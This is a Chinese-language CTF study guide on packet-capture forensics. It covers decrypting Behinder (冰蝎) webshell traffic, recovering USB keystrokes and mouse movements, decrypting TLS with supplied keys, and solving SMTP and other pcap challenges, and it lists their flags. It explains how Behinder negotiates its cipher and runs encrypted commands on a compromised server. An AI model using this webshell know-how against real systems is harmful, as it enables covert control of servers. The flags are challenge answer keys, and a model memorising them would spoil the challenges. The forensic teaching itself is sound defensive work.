冰蝎将一串 Payload 用不同的算法加密,然后发送给服务器。如果服务器成功解密,那么接下来的通信就使用这种算法。如果算法不对,则解密失败,那么响应为空,冰蝎会更换另一种加密算法进行尝试,直到成功为止。加密算法一般为 AES128 CBC模式和异或加密,两种加密采用相同的密钥。如果使用AES 加密,则IV为全0。图1.2.39 展示了算法协商过程,当服务器采用某种加密算法不能解密客户端的数据时,服务器会把 Content-type 字段置为 0,当客户端收到这样的返回值后,会采用另一种加密算法再发送一次 Payload。
3)加密通信阶段。
客户端使用上述密钥和算法加密 Payload 后,通过 POST 请求将脚本发送给服务端,服务端解密后执行,并将结果以相同密钥和加密算法返回给客户端。
例题bingxie.pcapng
]打开文件后进行协议分级,重点关注 HTTP。
我们发现有两个是GET 请求,其余都是 POST请求,结合 URI的特征,判断可能是冰蝎流量。
根据第 22 个数据包的cookie值,可以发现采用第2次 GET 协商的密钥,由于加密算法未知,因此可以把 AES加密和异或加密都尝试一遍。
利用脚本 BX2_aes_decrypt.py和BX2_xor_decrypt.py分别对其解密,发现采用的是异或加密。利用异或解密脚本 BX2_xor_decrypt.py分别对POST请求包解密,也就是题目中第27、143、171、183 个数据包(需要根据不同数据包的内容修改脚本中text对应的值)。对第 183 个数据包解密后,将其中的 Base64 数据解码,可看到图的内容。结合代码逻辑,可知是向服务器上传了 flag.zip 文件,文件内容经 Base64 编码后存储在 $content 的变量中。将 $content 解码,得到 zip 压缩包,解压后就得到 flag
1 | //shell22.php |
USB
USB(Universal Serial Bus)的全称是通用串口总线,USB流量指的是USB设备接口的流量,攻击者能够通过监听 USB 接口流量获取键盘敲击键、鼠标移动与点击、存储设备的明文传输通信、USB无线网卡网络传输内容等信息。在CTF比赛中,USB流量分析主要以键盘和鼠标流量为主。
上图显示的是从本地机器捕获的USB 接口流量,需要注意的是,USBPcap pseudoheader(伪头)不属于发送内容部分,而是USBPcap 控制程序的部分pseudoheader后面的部分才是真正要发送或接收到的内容。在这个例子中URB 就是 pseudoheader,占27 字节真正发送的内容是 Leftover CaptureData中的8字节。
键盘和鼠标传输的内容就在Leftover Capture Data 中。键盘数据包的数据长度为8字节,击键信息集中在第 3 个字节,这个字节并不是字符的ASCII码,具体映射关系需要查看 USB HID USAGE TABLE 第 53 页的内容。
鼠标移动时表现出连续性,但实际上鼠标动作所产生的数据包是离散的,每一个数据包的数据区有 4个字节,第1个字节代表按键,值为 0x00时,表示没有按键;值为0x01时,表示按左键;值为0x02 时,表示当前按键为右键。第2个字节可以看成一个 signedbyte类型,其最高位为符号位,当这个值为正时,代表鼠标水平右移多少个像素;这个值为负时,代表鼠标水平左移多少个像素。第3 个字节与第 2个字节类似,代表鼠标垂直移动的像素数。得到这些信息后,即可恢复出鼠标移动轨迹。
针对键盘和鼠标的USB流量分析,可以使用开源工具 https://github.com/WangYihang/UsbKeyboardDataHacker 和 https://github.com/WangYihang/UsbMiceDataHacker 完成。这两个工具可以从流量包中读出击键内容并恢复出鼠标轨迹。
https://ctf-wiki.org/misc/traffic/protocols/usb/
例题key.pcap
很明显的键盘USB流量
例题mice.pcap
很明显的鼠标USB流量
1 | python usb-mouse-pcap-visualizer.py -i mice.pcap |
11USB
打开数据包文件后从协议可以发现这应该是一个USB的数据包
找到此USB设备的回复数据包,在详情中可以这个USB设备应该是一个罗技光电鼠标
自己观察每个数据后可以发现,这个数据包应该是代表着鼠标的移动,因为它的值在不断的变化,第二个字节代表X轴的移动,而第三个字节则代表在Y轴的+255和-256之间的运动
我们假设这些值确实是鼠标的移动产生的,接下来我们用tshark导出这些数据
然后我们需要将第二个和第三个字节转换为坐标,可以使用以下命令,具体命令的意思可以查看awk的一些知识(注意,使用strtomun函数时需要安装gawk,在kali里面直接运行apt-get install gawk即可安装):
1 | awk -F: 'function comp(v){if(v>127)v-=256;return v}{x+=comp(strtonum("0x"$2));y+=comp(strtonum("0x"$3))}$1=="01"{print x,y}' data2.txt > data3.txt |
然后我们使用gnuplot将这些数据绘制成图片即可
注意此时的图片可能是颠倒过来的,放到photoshop中将其垂直翻转即可
CTF{tHe_CAT_is_the_CULpRiT}
37usbcatch
有个小偷从我的电脑里copy一个秘密文本,找到他
可以看到flag.txt的内容
did_you_know_ctf
TLS
SSL/TLS是一种密码通信框架,也是目前使用最广泛的密码通信方法。SSL/TLS 综合运用了密码学中的对称密码、消息认证码、公钥密码、数字签名、伪随机数生成器等算法SSL (Secure Socket Layer,安全套接层)是 1994 年由 Netscape公司设计的一套协议,并于1995年发布了3.0版本。TLS (Transport Layer Security,安全传输层)是IETF 在 SSL 3.0基础上设计的协议,相当于SSL的后续版本。
TLS 协议位于传输层和应用层之间,其功能是一个加密通道,和上层应用协议无关由于HTTP采用明文传输,很容易被攻击者窃听或者篡改内容,通过引入TLS对HTTP的内容进行加密等操作,可以有效防止窃听篡改和劫持等,如下图所示
在CTF比赛中,关于TLS 的考点并不是很多。当没有私钥时,因为无法对加密流量进行解密,所以TLS协议一般不是我们关注的重点。但是,有一类题目会提供TLS的私钥,这就需要我们在Wireshark中导入私钥,从而解密相关流量。
例题TheGreatEscape.pcapng
flag格式为INS{}
首先看到协议分级里面有ftp
经过分析,发现向ftp服务器上传了ssc.key文件,然后将文件导出,打开发现是私钥文件。
题目的意思应该是让我们导入私钥文件,利用会话统计功能,发现有大量443端口的连接,猜测可能是TLS协议。
单击“编辑”工具栏,选择最下方的“首选项”,打开后在窗口左侧选择“Protocols”,再选择TLS
单击“RSA keys list”旁边的Edit按钮,单击左下角的“+”按钮,新增一项,各字段按下图填写。
其中,IP地址可以空缺,Wireshark会自动选择相应的TLS流解密;Port填写443;因为要解密HTTPS,故 Protocol填写解密后的应用层协议HTTP;Key File是提取出的私钥的保存路径;如果知道证书的加密密钥,就填写到Password字段,一般情况下可以不填。单击右下角的“OK”按钮,Wireshark 会使用该私钥对相关流量自动解密。输入过滤规则“http contains”INS””,单击过滤出的第一个数据包,展开HTTP解析结果,可以看到flag:INS{OkThatWasWay2Easy}。当没有导入私钥时,输入上述过滤规则,则没有任何数据包满足过滤条件,说明导入的私钥被 Wireshark 正常用于解密
除了使用私钥,在SSL/TLS 中,Pre Master Secret (预主密)的作用至关重要,无论是RSA加密算法还是DH密钥交换算法,最终都是为了交换或者协商出 Pre Master Secret.通过Pre Master Secret,结合其他参数,可计算出Master Secret 作为整个会话的密钥。因此,如果比赛题目提供了 Pre-Master-Secret log 或者 Master-Secret log,在 Wireshark 中直接导人,在(Pre)-Master-Secret log file name处选择合适的文件,就可以完成解密。这里我们不讨论解密算法的细节。
例题transcript.zip
在(Pre)-Master-Secret log处导人题目提供的 keylogfile.txt 文件,单击OK 按钮后,Wireshark并没有直接解密。选中一个TLS协议的数据包,选择追踪TLS流可以看到结果
13SSL Sniff
我们收到了MITMd的HTTPS请求的网络捕获文件。尝试找到罪魁祸首。
我们得到一个包含SSL加密对话的tcpdump捕获。
幸运的是,密钥隐藏在证书的stateOrProvinceName字段中
flag{Key-Is-dUs1mKl4}
24greatescape
分析该数据包,你会有三部分事情要做,先找出ssc.key,再找到https加密传输的flag INS{xxx}
跟例题一样
在电子邮件中发现的两个地址指向52.214.142.175:443.所以这可能是我们正在寻找的正确的IP地址。要确认,请查看在PCAP文件中是否有来自52.214.142.175的任何流量。你会看到加密的流量。让我们使用从SMTP协议(IP:52.214.142.175,PORT:443)和FTP(私钥)收集的所有信息来解密SSL流量。Wireshark允许解密TLS流量。插入ssc.key在编辑- >首选项- > SSL
使用过滤器“ ip.addr == 52.214.142.175 and http”。你可以看到解密的流量
35ssl-sniffer2
我们收到了一个HTTPS请求的数据包。我们知道实际的请求有有用的信息,私钥server.key.insecure。
跟例题一样,导入
39u7v25n1jxkl123
Smpt
01Smtp
找到数据包中的敏感字符,拿到其密文
RkxBRzpJU0NDVEVTVHBhcw==
FLAG:ISCCTESTpas
42smtp_cotent
敌军有可能正在进行一项秘密交易,找到他们交易的证据
因为是明文传输
flag{this_is_secret_eemials}
43smtp_attachment
我们捕获到一些可疑的数据包,可能存在邮件的附件中,找到他
1 | key{goods_is_secret} |
44http_smtp
张三下了加密的压缩包,却没有解压密码,李四通过邮箱给发了消息,帮他解决这个问题
首先导出http对象
解压密码为:ctf@zip.key
key{402e432465e2e87ce5d8ef733d40d593}
45ftp-smtp
小黑通过ftp下载加密压缩包,李四邮件发给他密码,截获他们的网络流量,找到flag
一样的道理
key{c1ceee8f742b991baf90b393070cbeaf}
其他
10510-数据包分析-密码获取
选择第一条数据包follow tcp stream
乍一看好像是答案
但是
7F对应的ASCII是嘛呢,原来是DEL,0D表示的是回车
backdoorm8te
10514-数据包分析-transfer
我嗅了一段时间的网络流量,我想我终于有了一些有趣的事情。帮助我通过所有这些数据包找到标志。
搜索flag,追踪
1 | import string |
解码脚本
1 | import string, sys |
10516-数据包分析-BigData
东西,东西,数据,东西,东西,大数据
flag{bigdataisaproblemnotasolution}
10518-数据包分析-Intercepted Post
我们拦截了你父亲的一些网络活动。你能从他的交通中得到一个密码吗?
flag{pl$_$$l_y0ur_l0g1n_form$}
10521-数据包分析-No_Big_Deal
有时答案很明显,有时会被掩盖。找到答案
1 | strings no-big-deal.pcap| egrep ".{10,}" | head |
CTF{betterfs.than.yours}
10522-数据包分析-easycap
这是一道送分题,你能从包捕获中得到这个flag吗?flag{xxx}
追踪第一个包
FLAG:385b87afc8671dee07550290d16a8071
10525-数据包分析-first-contact
机器人正在与坠毁的船舶通信。您的目标是通过检查网络流量来查找船舶的位置。格式flag{xxx}
37 14'06"N 115 48'40"W
26voip
VoIP提取语音。标志格式是flag:{[A-Z0-9]}
点击“电话”->Voip通话
这个电话,尽管是一个机器人的声音,很难解释,flag is SECCON{9001IVR}
10527-数据包分析-in-recorded-conversation
追踪一下数据包,你能找到flag吗?
10528-数据包分析-private
你是安静的,你能够听到的越多
查看传输中使用的协议,我们看到一堆STP,ICMP,DNS和其他一些请求。单个的TCP请求,并不能告诉我们我们的标志在哪里
然而,经过一些摆弄数据之后,我们注意到ICMP数据包的所有IP层的标识符都在ASCII值范围(32-126)之内。最值得注意的是,当只查看从IP 192.168.50.10到ICMP的请求时,ID开始拼写“这里是你的标志” 192.168.0.50。要查看标志,您可以在wireshark中应用过滤器,icmp and ip.src==192.168.50.10并向下滚动请求以注意标识符字节中的标志
或者,你可以使用tshark和grep中提到的过滤器的偏移范围,包含标识符
1 | tshark -r PrivateChannel.pcap.pcapng -x 'icmp and ip.src==192.168.50.10'|grep 0010 |
flag{S3cr3t4g3nt}
10529-数据包分析-iSpy
我们截获了一些可疑的网络活动。我们认为敌人一直在交换重要的数据。你能帮我们弄清楚它是什么吗? flag{xxx}
flag{pcap_fun!??}
10530-数据包分析-WatchMeSurfTheInternet
从目录中的pcap文件获取flag flag{xxx}
在与 wireshark 或交谈时 tshark,我们注意到没有什么突出的。
但是,作者在某些 TCP 请求的源端口中隐藏了该标志。
有几个tcp请求来自诸如10102或者之类的端口10114- 都略微超过了10000。
如果 10000 从这些端口中减去一个,你将得到一个十进制的 ASCII 字符串:
102for f,114for r。
1 | tshark -r spying.pcapng -Y 'ip.dst == 192.168.64.22' -T fields -e tcp.srcport | python -c 'import sys; print "".join(chr(int(port) - 10000) for port in sys.stdin.readlines())' |
IJustMadeYouWatchMeSurfTheInternet
10531-数据包分析-john-in-the-middle
约翰能劫持你的surfin吗?:)
flag{J0hn_th3_Sn1ff3r}
10532-数据包分析-lolteam
有一个叫做lolteam的可疑团队,我把目光投向了他们一段时间,并且在他们改变密码的时候,我设法窃听他们的浏览器。他们将密码更改为什么?
flag{no,_lolteam_is_not_an_admin_account}
10533-数据包分析-Crack_this
这是一道送分的流量分析,你能找到flag吗?
只有一个包
flag{rukgzuzfiuypreymqcja}
10536-数据包分析-weirdshark
找到一个修复的数据包,你能分析出flag吗?flag{xxx}
multiple.pdf
导出对象
flag{FORENSICS_WITH_HAXORS}
10539-数据包请求-SecretFile
我们捕获了一个黑客的网络活动,你能知道他在干什么吗?
key{I’m_Blue_Are_you_ok}
10547-数据包分析-SString
阿黑收到一串奇怪的数字,他在网上找了加密算法,但他不会于是发邮件请教好友,你能帮他呢解出来吗?
分析题意可知小黑是浏览了解密算法但他不会,于是过滤出 http 请求
导出 http 对象
但是我们没有密文,继续找到小黑的邮件(过滤出 smtp)
1 |
|
flag{603d7237fa0d52977}
10549-数据包分析-nfs
小白在局域网分享了一个文件,小黑花了不到几秒钟就找到了
根据题意,过滤出 nfs 文件共享数据包
简单分析出小黑的 ip 是 10.0.0.118 于是我们过滤出 从小白的 ip 向小黑的 电脑传输的数据
(nfs && ip.src==10.0.0.117)
逐帧分析,在倒数第二帧发现了可疑的数据,base64 加密内容
flag{WAaGhBJk}
取证分析-analysis
证据在权限里。flag为{}内的内容,字符串,无前缀。
题目名称为Webshell,我们知道webshell通常以post形式上传
1 | http.request.method == "POST" |
猜测为webshell
分析一下,前面只是登录尝试
后面是列目录
flag{ftop_Is_Waiting_4_y}
取证分析-babypcap
flag{d316759c281bf925d600be698a4973d5}